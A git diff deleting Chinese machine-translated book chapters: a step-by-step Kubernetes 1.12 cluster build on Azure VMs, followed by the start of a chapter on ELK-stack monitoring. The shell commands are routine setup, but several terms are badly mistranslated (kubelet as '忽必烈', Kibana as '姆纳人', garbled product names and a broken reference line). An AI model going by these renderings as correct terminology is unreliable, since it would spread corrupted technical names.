-johndoe@kube-controller-1$sudo chmod +x kube-controller-manager - -johndoe@kube-controller-1$sudo mv kube-controller-manager /usr/local/bin/ -``` - -使用以下命令移动`kubeconfig`并为`kube-controller-manager`创建单位文件: - -```sh -johndoe@kube-controller-1$ sudo cp \ -/home/johndoe/kube-controller-manager.kubeconfig /var/lib/kubernetes/ - -johndoe@kube-controller-1$ cat << EOF | sudo tee \ /etc/systemd/system/kube-controller-manager.service -[Unit] -Description=Kubernetes Controller Manager -Documentation=https://github.com/kubernetes/kubernetes - -[Service] -ExecStart=/usr/local/bin/kube-controller-manager \\ - --address=0.0.0.0 \\ - --cluster-cidr=10.30.0.0/16 \\ - --cluster-name=kubernetes \\ - --cluster-signing-cert-file=/var/lib/kubernetes/ca.pem \\ - --cluster-signing-key-file=/var/lib/kubernetes/ca-key.pem \\ - --kubeconfig=/var/lib/kubernetes/kube-controller-manager.kubeconfig \\ - --leader-elect=true \\ - --root-ca-file=/var/lib/kubernetes/ca.pem \\ - --service-account-private-key-file=/var/lib/kubernetes/service-account-key.pem \\ - --service-cluster-ip-range=10.20.0.0/24 \\ - --use-service-account-credentials=true \\ - --v=2 -Restart=on-failure -RestartSec=5 - -[Install] -WantedBy=multi-user.target -EOF -``` - -# 多维数据集计划程序 - -最后安装在控制平面的部件是`kube-scheduler`。有了调度器,除了创建`systemd`单元文件,我们还将创建一个包含调度器基本配置的 YAML 文件。 - -首先,让我们下载二进制文件。使用以下命令下载`kube-scheduler`并将其移动到`/usr/local/bin/`: - -```sh -johndoe@kube-controller-1$ wget \ -"https://storage.googleapis.com/kubernetes-release/release/v1.12.0/bin/linux/amd64/kube-scheduler" - -johndoe@kube-controller-1$ chmod +x kube-scheduler - -johndoe@kube-controller-1$ sudo mv kube-scheduler /usr/local/bin/ -``` - -我们使用以下命令将`kubeconfig`文件移动到`kubernetes`文件夹: - -```sh -johndoe@kube-controller-1$sudo cp /home/johndoe/kube-scheduler.kubeconfig /var/lib/kubernetes/ -``` - -`kube-scheduler.yml`给出如下: - -```sh -johndoe@kube-controller-1$sudo cat << EOF | sudo tee /etc/kubernetes/config/kube-scheduler.yml -apiVersion: componentconfig/v1alpha1 -kind: KubeSchedulerConfiguration -clientConnection: - kubeconfig: "/var/lib/kubernetes/kube-scheduler.kubeconfig" -leaderElection: - leaderElect: true -EOF -``` - -`kube-scheduler.service`给出如下: - -```sh -johndoe@kube-controller-1$ sudo cat << EOF | sudo tee /etc/systemd/system/kube-scheduler.service -[Unit] -Description=Kubernetes Scheduler -Documentation=https://github.com/kubernetes/kubernetes -``` - -```sh -[Service] -ExecStart=/usr/local/bin/kube-scheduler \\ - --config=/etc/kubernetes/config/kube-scheduler.yml \\ -``` - -```sh - --v=2 -Restart=on-failure -RestartSec=5 - -[Install] -WantedBy=multi-user.target -EOF -``` - -在继续下一步之前,在每个控制器节点上重复*安装控制平面*部分中的所有步骤。 - -# 启动控制平面 - -在每个控制器节点上完成每个组件的安装后,我们就可以开始测试服务了。 - -为此,我们将首先使用以下命令启用并启动所有`systemd`单元: - -```sh -johndoe@kube-controller-1$ sudo systemctl daemon-reload - -johndoe@kube-controller-1$ sudo systemctl enable kube-apiserver kube-controller-manager kube-scheduler - -johndoe@kube-controller-1$ sudo systemctl start kube-apiserver kube-controller-manager kube-scheduler - -johndoe@kube-controller-1$ sudo systemctl status kube-apiserver kube-controller-manager kube-scheduler -``` - -最后,为了能够自己使用`kubectl`,我们需要设置我们想要连接的集群的上下文,并将`kubeconfig` admin 设置为我们的默认设置。我们的`kubeconfig`管理员目前被设置为指向`localhost`作为`kube-apiserver`端点。这暂时没问题,因为我们只想测试我们的组件。 - -在您的`kube-controller-1`中输入以下命令: - -```sh -johndoe@kube-controller-1$ mkdir /home/johndoe/.kube/ - -johndoe@kube-controller-1$ cat /home/johndoe/admin.kubeconfig > /home/johndoe/.kube/config - -johndoe@kube-controller-1$ kubectl get cs -``` - -输出应该如下所示: - -```sh -NAME STATUS MESSAGE ERROR -controller-manager Healthy ok -scheduler Healthy ok -etcd-0 Healthy {"health": "true"} -etcd-1 Healthy {"health": "true"} -etcd-2 Healthy {"health": "true"} -``` - -# 正在为 kubelets 设置 RBAC 权限。 - -我们的应用编程接口服务器需要权限才能与`kubelets`应用编程接口对话。为了实现这一点,我们创建将绑定到 Kubernetes 用户的集群角色。我们将只在一个控制器节点上这样做,因为我们将使用`kubectl`,并且更改将应用于整个集群。 - -# 集群角色 - -使用以下命令创建包含权限的群集角色: - -```sh -johndoe@kube-controller-1$ cat << EOF | kubectl apply -f - -apiVersion: rbac.authorization.k8s.io/v1beta1 -kind: ClusterRole -metadata: - annotations: - rbac.authorization.kubernetes.io/autoupdate: "true" - labels: - kubernetes.io/bootstrapping: rbac-defaults - name: system:kube-apiserver-to-kubelet -rules: - - apiGroups: - - "" - resources: - - nodes/proxy - - nodes/stats - - nodes/log - - nodes/spec - - nodes/metrics - verbs: - - "*" -EOF -``` - -# 群集角色绑定 - -现在使用以下命令将角色绑定到 Kubernetes 用户: - -```sh -johndoe@kube-controller-1$ cat << EOF | kubectl apply -f - -apiVersion: rbac.authorization.k8s.io/v1beta1 -kind: ClusterRoleBinding -metadata: - name: system:kube-apiserver - namespace: "" -roleRef: - apiGroup: rbac.authorization.k8s.io - kind: ClusterRole - name: system:kube-apiserver-to-kubelet -subjects: - - apiGroup: rbac.authorization.k8s.io - kind: User - name: kubernetes -EOF -``` - -# 负载平衡器设置 - -我们需要对所有 kube 控制器节点的请求进行负载平衡。因为我们在云上运行,所以我们可以创建一个负载平衡器对象,它将在我们所有的节点上对请求进行负载平衡。不仅如此,我们还可以配置健康探测器来监控控制器节点的状态,看它们是否可以接收请求。 - -# 创建负载平衡器 - -负载均衡器是我们一直保存公共 IP 的目的。LB 将成为我们从外部访问集群的入口。我们将需要创建健康检查端口`80`的规则,并将`kubectl`请求重定向到`6443`。 - -让我们通过以下步骤来实现这一点。 - -# Azure 负载平衡器 - -我们将不得不返回安装了 Azure CLI 的工作站,完成下一组步骤。 - -要在工作站中创建负载平衡器并为其分配公共 IP,请运行以下命令: - -```sh -az network lb create -n kube-lb \ ---sku Standard \ ---public-ip-address kube-api-pub-ip -``` - -既然我们已经创建了负载平衡器,我们还需要配置三个东西: - -* 后端池 -* 健康探测器 -* 负载平衡规则 - -# 后端池 - -到目前为止,我们已经通过 Azure CLI 完成了与 Azure 相关的所有工作。让我们通过 Azure 门户完成以下步骤,以便您也能熟悉门户: - -![](img/c8a39b26-0784-4a9b-aa82-9ce3e429b507.png) - -要创建后端池,请导航到 kube-lb 对象,如下图所示: - -![](img/39e23280-0c2f-4e1a-a367-fe23bab0fb65.png) - -当您在负载平衡器对象中时,导航到后端池并单击添加,如下图所示: - -![](img/315ef824-ef98-4093-a4d4-ad9e97422f10.png) - -当您单击添加时,将出现一个菜单。命名您的后端池`kube-lb-backend`,并确保您选择了所有 kube 控制器节点及其各自的 IP,如下图所示: - -![](img/0fd2e97f-982e-4dbe-85ba-b52bb5428e03.png) - -Example - -单击添加完成。我们已成功设置后端虚拟机。 - -# 健康探测器 - -在我们可以创建负载平衡规则之前,我们需要创建健康探测器,它将告诉我们的 LB 哪些节点可以接收流量。因为在编写本章时,Azure 中的负载平衡器不支持 HTTPS 健康探测器,所以我们需要通过 HTTP 公开`/healthz`端点。为此,我们将在控制器节点中安装 Nginx,并将来自端口`80`的代理请求传递到端口`6443`。 - -SSH 回到您的控制器节点,并在每个节点中执行以下步骤: - -```sh -johndoe@kube-controller-1$ sudo yum install epel-release && yum install nginx -``` - -一旦安装了 Nginx,用以下内容替换`/etc/nginx/nginx.conf`中的`server`条目: - -```sh -server { - listen 80; - server_name kubernetes.default.svc.cluster.local; - - location /healthz { - proxy_pass https://127.0.0.1:6443/healthz; - proxy_ssl_trusted_certificate /var/lib/kubernetes/ca.pem; - } -} -``` - -因为我们运行的是基于 RHEL 的发行版,所以 SELINUX 默认情况下是启用的;因此,它将阻止 Nginx 访问端口`6443`上的 TCP 套接字。为了允许这种行为,我们需要运行以下命令。 - -首先,我们安装管理 SELINUX 所需的包,如以下命令所示: - -```sh -johndoe@kube-controller-1$ sudo yum install policycoreutils-python -``` - -一旦软件包安装完毕,我们运行以下命令以允许连接到端口`6443`: - -```sh -johndoe@kube-controller-1$ sudo semanage port -a -t http_port_t -p tcp 6443 -``` - -最后,我们使用以下命令启动`nginx`: - -```sh -johndoe@kube-controller-1$ sudo systemctl daemon-reload && \ -systemctl enable nginx --now -``` - -如果你想测试这个,你总是可以在`localhost`上运行一个`curl`,就像这样: - -```sh -johndoe@kube-controller-1$ curl -v http://localhost/healthz -``` - -如果一切配置正确,将生成以下输出: - -```sh -* About to connect() to localhost port 80 (#0) -* Trying 127.0.0.1... -* Connected to localhost (127.0.0.1) port 80 (#0) -> GET /healthz HTTP/1.1 -> User-Agent: curl/7.29.0 -> Host: localhost -> Accept: */* < HTTP/1.1 200 OK -< Server: nginx/1.12.2 -< Date: Sun, 28 Oct 2018 05:44:35 GMT -< Content-Type: text/plain; charset=utf-8 -< Content-Length: 2 -< Connection: keep-alive -< -* Connection #0 to host localhost left intact -Ok -``` - -请记住对每个控制器节点重复所有这些过程。 - -既然健康端点已经公开,我们就可以在负载平衡器中创建健康探测规则了。 - -回到`kube-lb`菜单,在设置下——我们配置后端池的地方——选择健康探测器,然后点击添加。 - -菜单出现后,填写字段,如下图所示: - -![](img/de036edf-e4cc-4d3a-b71a-0f471cff5621.png) - -# 负载平衡规则 - -我们已经准备好创建负载平衡规则,并准备好使用我们的负载平衡器。 - -这个过程与我们使用后端池和健康探测器的过程相同。转到 kube-lb 下的设置菜单,并选择负载平衡规则。点击添加并填写出现的对话框,如下图所示: - -![](img/ab7bfe68-f15c-4c60-a5d0-46072476d4bf.png) - -一旦准备好了,我们只需要打开我们的网络安全组,允许端口`6443`上的连接。 - -在您的 Azure CLI 工作站上,运行以下命令来创建规则: - -```sh -az network nsg rule create --nsg-name kube-nsg \ - -n pub_https_allow \ - --direction Inbound \ - --priority 110 \ - --access Allow \ - --description "Allow HTTPS" \ - --destination-address-prefixes '*' \ - --destination-port-ranges 6443 \ - --protocol Tcp \ - --source-address-prefixes '*' \ - --source-port-ranges '*' \ - --direction Inbound -``` - -几分钟后生效,然后在浏览器中导航至`https://:6443/version`。 - -您应该会看到如下内容: - -```sh -{ - "major": "1", - "minor": "12", - "gitVersion": "v1.12.0", - "gitCommit": "0ed33881dc4355495f623c6f22e7dd0b7632b7c0", - "gitTreeState": "clean", - "buildDate": "2018-09-27T16:55:41Z", - "goVersion": "go1.10.4", - "compiler": "gc", - "platform": "linux/amd64" -} -``` - -这将表明您可以通过 LB 访问应用编程接口服务器。 - -# 工作节点设置 - -是时候配置和安装我们的工作节点了。在这些中,我们将安装`kubelet`、kube 代理、容器运行时和容器网络接口插件。 - -SSH 进入管理虚拟机的第一个工作节点,如以下命令所示: - -```sh -johndoe@management-vm$ ssh johndoe@kube-node-1 -``` - -# 下载和准备二进制文件 - -在配置任何服务之前,我们需要下载任何依赖项并设置所需的存储库。之后,我们可以开始下载二进制文件,并将它们移动到各自的位置。 - -# 添加 Kubernetes 存储库 - -我们需要配置的存储库是 Kubernetes 存储库。有了这个,我们就可以下载`kubectl`。让我们使用以下命令来设置它: - -```sh -johndoe@kube-node-1$ sudo cat << EOF > /etc/yum.repos.d/kubernetes.repo -[kubernetes] -name=Kubernetes -baseurl=https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64 -enabled=1 -gpgcheck=1 -repo_gpgcheck=1 -gpgkey=https://packages.cloud.google.com/yum/doc/yum-key.gpg https://packages.cloud.google.com/yum/doc/rpm-package-key.gpg -EOF -``` - -# 安装依赖项和 kubectl - -配置好`repo`后,我们就可以开始下载`kubectl`以及我们将要下载的二进制文件所需的任何依赖项。让我们使用以下命令来设置它: - -```sh -johndoe@kube-node-1$ sudo yum install -y kubectl socat conntrack ipset libseccomp -``` - -# 下载和存储工人二进制文件 - -现在我们已经准备好了依赖项,我们可以使用以下命令下载所需的工作二进制文件: - -```sh -johndoe@kube-node-1$ wget \ -https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.12.0/crictl-v1.12.0-linux-amd64.tar.gz \ -https://storage.googleapis.com/kubernetes-release/release/v1.12.0/bin/linux/amd64/kubelet \ -https://github.com/containernetworking/plugins/releases/download/v0.6.0/cni-plugins-amd64-v0.6.0.tgz \ -https://github.com/opencontainers/runc/releases/download/v1.0.0-rc5/runc.amd64 \ -https://storage.googleapis.com/kubernetes-release/release/v1.12.0/bin/linux/amd64/kube-proxy \ -https://github.com/containerd/containerd/releases/download/v1.1.2/containerd-1.1.2.linux-amd64.tar.gz -``` - -现在,让我们使用以下命令为最近下载的二进制文件创建文件夹结构: - -```sh -johndoe@kube-node-1$ sudo mkdir -p \ -/etc/cni/net.d \ -/opt/cni/bin \ -/var/lib/kube-proxy \ -/var/lib/kubelet \ -/var/lib/kubernetes \ -/var/run/kubernetes -``` - -为了使用方便和符合惯例,我们将名称改为`runc`,如下命令所示: - -```sh -johndoe@kube-node-1$ mv runc.amd64 runc -``` - -我们使用以下命令向其余二进制文件授予可执行权限: - -```sh -johndoe@kube-node-1$ chmod +x kube-proxy kubelet runc -``` - -在赋予它们可执行权限后,我们可以使用以下命令将它们移动到`/usr/local/bin/`: - -```sh -johndoe@kube-node-1$ sudo mv kube-proxy kubelet runc /usr/local/bin/ -``` - -一些下载的文件是 TAR 档案,我们需要将其`untar`并使用以下命令存储在它们各自的位置: - -```sh -johndoe@kube-node-1$ tar xvzf crictl-v1.12.0-linux-amd64.tar.gz - -johndoe@kube-node-1$ sudo mv crictl /usr/local/bin/ - -johndoe@kube-node-1$ sudo tar xvzf cni-plugins-amd64-v0.6.0.tgz -C /opt/cni/bin/ - -johndoe@kube-node-1$ tar xvzf containerd-1.1.2.linux-amd64.tar.gz - -johndoe@kube-node-1$ sudo mv ./bin/* /bin/ -``` - -# 容器设置 - -我们现在准备开始配置每个服务。第一个是`containerd`。 - -让我们使用以下命令创建配置目录: - -```sh -johndoe@kube-node-1$ sudo mkdir -p /etc/containerd/ -``` - -现在我们创建`toml`配置文件,它将告诉`containerd`使用什么容器运行时。让我们使用以下命令来设置它: - -```sh -johndoe@kube-node-1$ sudo cat << EOF | sudo tee /etc/containerd/config.toml -[plugins] -[plugins.cri.containerd] -snapshotter = "overlayfs" -[plugins.cri.containerd.default_runtime] -runtime_type = "io.containerd.runtime.v1.linux" -runtime_engine = "/usr/local/bin/runc" -runtime_root = "" -EOF -``` - -最后,让我们使用以下命令设置`systemd`单元文件: - -```sh -johndoe@kube-node-1$ sudo cat << EOF | sudo tee /etc/systemd/system/containerd.service -[Unit] -Description=containerd container runtime -Documentation=https://containerd.io -After=network.target - -[Service] -ExecStartPre=/sbin/modprobe overlay -ExecStart=/bin/containerd -Restart=always -RestartSec=5 -Delegate=yes -KillMode=process -OOMScoreAdjust=-999 -LimitNOFILE=1048576 -LimitNPROC=infinity -LimitCORE=infinity - -[Install] -WantedBy=multi-user.target -EOF -``` - -# 库布雷人 - -我们在工人节点的主要服务是`kubelet`。让我们创建它的配置文件。 - -首先,我们需要使用以下命令将`kubelet`证书移动到它们的位置: - -```sh -johndoe@kube-node-1$ sudo mv /home/johndoe/${HOSTNAME}-key.pem /home/johndoe/${HOSTNAME}.pem /var/lib/kubelet/ - -johndoe@kube-node-1$ sudo mv /home/johndoe/${HOSTNAME}.kubeconfig /var/lib/kubelet/kubeconfig - -johndoe@kube-node-1$ sudo mv /home/johndoe/ca.pem /var/lib/kubernetes/ -``` - -现在我们创建 YAML 配置文件,它将包含诸如 DNS 服务器 IP 地址、集群域和证书文件的位置等内容。让我们使用以下命令来设置它: - -```sh -johndoe@kube-node-1$ sudo cat << EOF | sudo tee /var/lib/kubelet/kubelet-config.yaml -kind: KubeletConfiguration -apiVersion: kubelet.config.k8s.io/v1beta1 -authentication: - anonymous: - enabled: false - webhook: - enabled: true - x509: - clientCAFile: "/var/lib/kubernetes/ca.pem" -authorization: - mode: Webhook -clusterDomain: "cluster.local" -clusterDNS: - - "10.20.0.10" -runtimeRequestTimeout: "15m" -tlsCertFile: "/var/lib/kubelet/${HOSTNAME}.pem" -tlsPrivateKeyFile: "/var/lib/kubelet/${HOSTNAME}-key.pem" -EOF -``` - -最后,我们使用以下命令创建服务单元文件: - -```sh -johndoe@kube-node-1$ sudo cat << EOF | sudo tee /etc/systemd/system/kubelet.service -[Unit] -Description=Kubernetes Kubelet -Documentation=https://github.com/kubernetes/kubernetes -After=containerd.service -Requires=containerd.service - -[Service] -ExecStart=/usr/local/bin/kubelet \\ - --config=/var/lib/kubelet/kubelet-config.yaml \\ - --container-runtime=remote \\ - --container-runtime-endpoint=unix:///var/run/containerd/containerd.sock \\ - --image-pull-progress-deadline=2m \\ - --kubeconfig=/var/lib/kubelet/kubeconfig \\ - --network-plugin=cni \\ - --register-node=true \\ - --v=2 \\ - --hostname-override=${HOSTNAME} \\ - --allow-privileged=true -Restart=on-failure -RestartSec=5 - -[Install] -WantedBy=multi-user.target -EOF -``` - -# 立方体代理 - -下一个要创建的服务是`kube-proxy`。 - -我们使用以下命令移动先前创建的`kubeconfigs`: - -```sh -johndoe@kube-node-1$ sudo mv /home/johndoe/kube-proxy.kubeconfig /var/lib/kube-proxy/kubeconfig -``` - -与`kubelet`一样,`kube-proxy`也需要一个配置`YAML`,该配置具有集群 CIDR 和`kube-proxy`将运行的模式。让我们使用以下命令来设置它: - -```sh -johndoe@kube-node-1$ sudo cat << EOF | sudo tee /var/lib/kube-proxy/kube-proxy-config.yaml -kind: KubeProxyConfiguration -apiVersion: kubeproxy.config.k8s.io/v1alpha1 -clientConnection: - kubeconfig: "/var/lib/kube-proxy/kubeconfig" -mode: "iptables" -clusterCIDR: "10.30.0.0/16" -EOF -``` - -最后,我们使用以下命令为`kube-proxy`创建一个单位文件: - -```sh -johndoe@kube-node-1$ sudo cat << EOF | sudo tee /etc/systemd/system/kube-proxy.service -[Unit] -Description=Kubernetes Kube Proxy -Documentation=https://github.com/kubernetes/kubernetes - -[Service] -ExecStart=/usr/local/bin/kube-proxy \\ - --config=/var/lib/kube-proxy/kube-proxy-config.yaml -Restart=on-failure -RestartSec=5 - -[Install] -WantedBy=multi-user.target -EOF -``` - -# 启动服务 - -在所有 kube 节点上完成这些过程后,可以使用以下命令在每个节点上启动服务: - -```sh -johndoe@kube-node-1$ sudo systemctl daemon-reload && \ -systemctl enable containerd kubelet kube-proxy && \ -systemctl start containerd kubelet kube-proxy && \ -systemctl status containerd kubelet kube-proxy -``` - -# 不可思议的网络 - -我们在集群中还有几件事要做:我们需要安装一个网络提供商并配置域名系统。 - -# 准备好节点 - -我们的节点必须能够转发数据包,这样我们的吊舱才能与外界通话。Azure 虚拟机没有现成的 IP 转发功能,因此我们必须手动启用。 - -为此,请转到您的 Azure CLI 工作站并运行以下命令: - -```sh -for i in 1 2; do -az network nic update \ --n $(az vm show --name kube-node-${i} --query [networkProfile.networkInterfaces[*].id] --output tsv | sed 's:.*/::') \ ---ip-forwarding true -done -``` - -这将在虚拟机的网卡上启用 IP 转发功能。 - -现在我们必须在工作节点上启用 IP 转发内核参数。 - -通过 SSH 从管理虚拟机进入每个工作节点,并使用以下命令启用 IPv4 转发: - -```sh -johndoe@kube-node-1$ sudo sysctl net.ipv4.conf.all.forwarding=1 - -johndoe@kube-node-1$ sudo echo "net.ipv4.conf.all.forwarding=1" | tee -a /etc/sysctl.conf -``` - -# 配置远程访问 - -现在,为了从您的管理虚拟机运行`kubectl`命令,我们需要创建一个`kubeconfig`,它使用管理证书和我们集群的公共 IP 地址。让我们使用以下命令来设置它: - -```sh -johndoe@management-vm$ kubectl config set-cluster kube \ - --certificate-authority=/home/johndoe/certs/ca.pem \ - --embed-certs=true \ - --server=https://104.45.174.96:6443 - -johndoe@management-vm$ kubectl config set-credentials admin \ - --client-certificate=/home/johndoe/certs/admin/admin.pem \ - --client-key=~/certs/admin/admin-key.pem - -johndoe@management-vm$ kubectl config set-context kube \ - --cluster=kube \ - --user=admin - -johndoe@management-vm$ kubectl config use-context kube -``` - -# 安装编织网 - -配置了管理虚拟机上的远程访问后,我们现在可以运行`kubectl`命令,而无需登录控制器节点。 - -要安装编织网,请从管理虚拟机运行以下`kubectl`命令: - -```sh -johndoe@management-vm$ kubectl apply -f "https://cloud.weave.works/k8s/net?k8s-version=$(kubectl version | base64 | tr -d '\n')&env.IPALLOC_RANGE=10.30.0.0/16" -``` - -随着编织网的安装,现在我们的豆荚将有知识产权分配。 - -# DNS 服务器 - -现在我们将提供我们的域名系统服务器,它将由核心域名系统提供,这是一个基于插件的开源域名系统服务器。让我们使用以下命令来设置它: - -```sh -johndoe@management-vm$ kubectl create -f https://raw.githubusercontent.com/dsalamancaMS/CoreDNSforKube/master/coredns.yaml -``` - -使用以下命令检查域名系统盒: - -```sh -johndoe@management-vm$ kubectl get pods -n kube-system -``` - -随着域名系统服务器吊舱的创建,我们已经成功完成了我们的 Kubernetes 集群的安装。如果需要,您可以创建以下部署来再次测试群集: - -```sh -apiVersion: apps/v1 -kind: Deployment -metadata: - name: nginx-deployment - labels: - app: nginx -spec: - replicas: 3 - selector: - matchLabels: - app: nginx - template: - metadata: - labels: - app: nginx - spec: - containers: - - name: nginx - image: nginx:1.7.9 - ports: - - containerPort: 80 -``` - -现在,我们已经看到了从头开始创建集群所需的步骤,我想谈一谈托管 Kubernetes 解决方案。 - -# 管理云上的 Kubernetes - -正如您在本章中看到的那样,安装并使 Kubernetes 集群可用并准备投入生产是一个非常漫长而复杂的过程。如果任何一步出错,您的整个部署可能都没有用。正因为如此,许多云提供商都在提供托管的 Kubernetes 解决方案——某种程度上是 Kubernetes 即服务。在这种类型的托管解决方案中,云提供商或服务提供商将管理集群的主节点,包括所有的 Kubernetes 控制器、API 服务器,甚至`etcd`数据库。这是一个主要优势,因为使用托管服务意味着您不必担心主节点的维护,因此您不必担心以下问题: - -* 续订 SSL 证书 -* 更新/升级`etcd`数据库 -* 更新/升级每个主节点二进制文件 -* 向集群注册额外的节点 -* 出现问题时缺乏支持 -* 与云基础设施的透明集成 -* 操作系统修补和维护 - -通过忘记这些,我们可以专注于重要的事情,例如在我们的集群上配置 pod 和创建工作负载。有了托管服务,学习曲线大大缩短,因为我们的员工可以主要关注 Kubernetes 的功能,而不是它如何工作,以便维护它。 - -在撰写本文时,一些值得一提的托管 Kubernetes 服务来自以下三大云提供商: - -* **蔚蓝库伯内斯服务** ( **AKS** ) -* **亚马逊网络服务库本内斯弹性容器服务** ( **EKS** ) -* **谷歌库引擎** ( **GKE** - -除了托管的 Kubernetes 服务,还有几个基于 Kubernetes 的开源项目和非开源项目。这些项目不是完全被管理的,而是在后端使用 Kubernetes 来实现它们的目标。以下是一些比较知名的项目: - -* 红帽的上游社区项目 -* Red Hat OpenShift -* SUSE **集装箱即服务**(**Caas**)**T5】平台** -* 中间层 Kubernetes 发动机 - -# 摘要 - -在本章中,我们学习了配置 Kubernetes 集群的基本步骤。我们还学习了 Azure 命令行界面以及如何在 Azure 中调配资源。我们还在整个部署中尝试了不同的工具,例如 CFSSL 和 Nginx。 - -我们了解并提供了`kubectl`配置文件,使我们能够访问我们的集群,并部署了一个虚拟部署来测试我们的集群。最后,我们研究了运行托管集群的好处,以及在主要公共云提供商中可以找到的不同类型的托管服务。 - -下一章将解释每个组件的功能。读者将了解不同的组件及其用途。 - -# 问题 - -1. 你怎么安装忽必烈? -2. 什么是`kubeconfig`? -3. 我们如何创建 SSL 证书? -4. 什么是 AKS? -5. 我们如何使用 Azure 命令行界面? -6. 我们如何在 Azure 中配置资源组? -7. 我们如何安装`etcd`? - -# 进一步阅读 - -* *通过 Packt Publishing:https://prod . packtpub . com/in/application-development/Mastering-Kubernetes-第二版掌握 Kubernetes* -* *针对开发人员的 Kubernetes*作者:Packt Publishing:[https://prod . packtpub . com/in/虚拟化与云/kubernetes-developers](https://prod.packtpub.com/in/virtualization-and-cloud/kubernetes-developers) -* *与 Kubernetes 的实践微服务*作者:Packt Publishing:[https://prod . packtpub . com/in/虚拟化与云/实践微服务-kubernetes](https://prod.packtpub.com/in/virtualization-and-cloud/hands-microservices-kubernetes) - -# 参考书目/来源: - -* **生成自签名证书:**[https://coreos . com/OS/docs/latest/生成-自签名-证书. html](https://coreos.com/os/docs/latest/generate-self-signed-certificates.html) -* **CloudFlare 的 PKI/TLS 工具包**:1230 T2【https://github . com/cloudflare/cfssl】 -* **围棋编程语言**:[https://golang.org/doc/install](https://golang.org/doc/install) \ No newline at end of file diff --git a/docs/handson-linux-arch/10.md b/docs/handson-linux-arch/10.md deleted file mode 100644 index 26fcf5cb..00000000 --- a/docs/handson-linux-arch/10.md +++ /dev/null @@ -1,232 +0,0 @@ -# 十、利用 ELK 栈进行监控 - -监控是任何环境中必不可少的一部分,无论是生产、质量保证还是开发;**Elastic Stack**(**ELK Stack**)通过允许来自不同来源的日志、指标和事件聚合到单个可索引位置:Elasticsearch,帮助简化了这项任务。 - -ELK 栈是三个不同软件的集合: - -* Elasticsearch -* logstash(日志记录) -* 姆纳人 - -在本章中,我们将解释每个组件的作用。 - -在本章中,我们将涵盖以下主题:定义 Elasticsearch 的主要功能 - -* 探索集中式日志的概念 -* 基巴纳如何帮助整合其他组件 - -# 技术要求 - -以下是本章的技术要求列表: - -* Elasticsearch 产品页面:[https://www.elastic.co/products/elasticsearch](https://www.elastic.co/products/elasticsearch) -* Logstash 概述:[https://www.elastic.co/products/logstash](https://www.elastic.co/products/logstash) -* Logstash 可用的输入插件:[https://www . elastic . co/guide/en/Logstash/current/input-plugins . html](https://www.elastic.co/guide/en/logstash/current/input-plugins.html) -* Grok 模式匹配:[https://www . elastic . co/guide/en/log stash/current/plugins-filters-grok . html](https://www.elastic.co/guide/en/logstash/current/plugins-filters-grok.html) -* 基巴纳用户指南:[https://www.elastic.co/guide/en/kibana/current/index.html](https://www.elastic.co/guide/en/kibana/current/index.html) - -# 理解监控的必要性 - -想象一下,您被要求向首席信息官提供历史数据,因为一个正在进行的项目需要整个生态系统平均使用多少 CPU 的信息,但企业从未投入时间来实施一个好的监控系统。因此,您唯一的选择是登录每个系统并运行本地命令,将结果记录到电子表格中,做一些数学运算以获得平均结果,在这一切之后,您意识到数据不再有效,您必须再次经历所有这些。这正是我们拥有 Elasticsearch 等监控系统的原因。同样的过程可能需要几分钟。不仅如此,您还将获得准确的数据和实时报告。让我们更多地了解什么是监控,以及作为架构师,为什么您应该认为它是有史以来最好的东西。 - -监控是指从任何给定的环境中获取原始数据,将其聚合、存储并以可理解的方式进行分析的过程。 - -所有环境都应该有某种形式的监控,从用于跟踪失败登录的简单日志文件,到负责分析来自成千上万台主机的数据的更健壮的系统。监控数据允许系统管理员在问题出现之前发现问题,并允许架构师根据数据为未来或正在进行的项目做出决策。 - -大家可能还记得[第 1 章](01.html)、*设计方法论介绍*中,我们讲过问对问题如何帮助设计更好的解决方案,同时给出正确的答案;例如,它可以帮助根据历史使用数据做出规模决策。向架构师提供使用数据有助于正确确定解决方案的规模。它们不仅利用未来的使用统计数据,还利用过去的实例,在这些实例中,使用高峰记录在高峰时间,例如周末。 - -让我们尝试将为什么需要监控归纳为四个主要方面: - -* 通过历史数据做出决策 -* 主动发现问题 -* 了解环境绩效 -* 预算计划 - -# 通过历史数据做出的决策 - -监控提供了回溯时间和分析使用趋势的能力,以帮助确定机会领域。例如,在[第 1 章](01.html)、*设计方法介绍*中呈现的场景中,客户需要能够维持每秒 10,000 次点击的 web 服务器解决方案。作为架构师,您请求访问他们现有解决方案中的使用数据,在查看了他们的使用趋势后,您确定每月第一周的使用量增加了 10 倍。 - -虽然用户可能不会在这段时间抱怨问题,但您应该考虑到,这种高使用率往往会在这段时间利用资源。从监控系统获取的数据可能会导致这样的决定,即需要分配给服务器的资源(例如,更多的中央处理器和内存)比以前计算的要多,或者需要向集群添加更多的服务器(如果可能的话)。 - -没有这些数据,没有人会知道由于峰值需要更多的资源。从峰值中辨别正常使用的能力有助于在设计和调整解决方案时做出正确的选择。 - -从同一个场景中,我们可以从历史数据使用情况中得出结论,当前解决方案在过去几个月中每秒钟保持了 10,000 次点击。这可能意味着客户能够始终获得期望的性能,但实际上他们需要的是一个能够处理使用高峰的解决方案,如前所述。 - -# 主动发现问题 - -想象一下,当你准备回家的时候,突然有人报告数据库服务器无法接收连接。您登录到服务器,注意到问题比最初报告的要严重得多。数据库中数据所在的磁盘现在都报告为故障磁盘。您仔细查看系统上的日志,注意到过去四个月报告了磁盘错误;然而,由于没有一个健全的监测系统,没有人知道有错误。现在,数据丢失了,您必须检索旧的备份,这需要几个小时才能恢复生产。 - -不幸的是,这种情况并不罕见,大多数情况下,信息技术是被动工作的,这意味着如果有东西坏了,有人会报告有东西坏了,然后有人会去修理坏了的东西。如果监控系统已经实现并配置为报告错误,这是完全可以避免的。这些磁盘本可以在发生灾难性故障之前更换。 - -在我们看来,能够在问题出现之前主动发现问题是监控系统最关键的方面之一。通过允许采取措施,在问题发生之前预测问题可能发生的位置有助于减少停机时间。例如,在前面的场景中,更换驱动器可以防止数据丢失。预测变化还有助于降低运营成本,防止因停机或故障造成的业务损失,并增加生产(或正常运行时间)。 - -# 了解环境绩效 - -在[第 5 章](05.html)、*分析 Gluster 系统的性能* m 中,我们对 GlusterFS 实现进行了性能测试。有了监测系统,通过汇总历史数据和平均统计数据,可以简化获得业绩基线的过程。 - -通过查看历史数据,我们可以看到任何给定系统在一定时间内的平均性能,从而允许架构师定义什么是正常的,什么不是。通过获取基线,我们可以在更深层次上了解环境在一天、一周甚至一个月中的行为。例如,我们可以确定存储服务器在一天中的恒定吞吐量约为 200 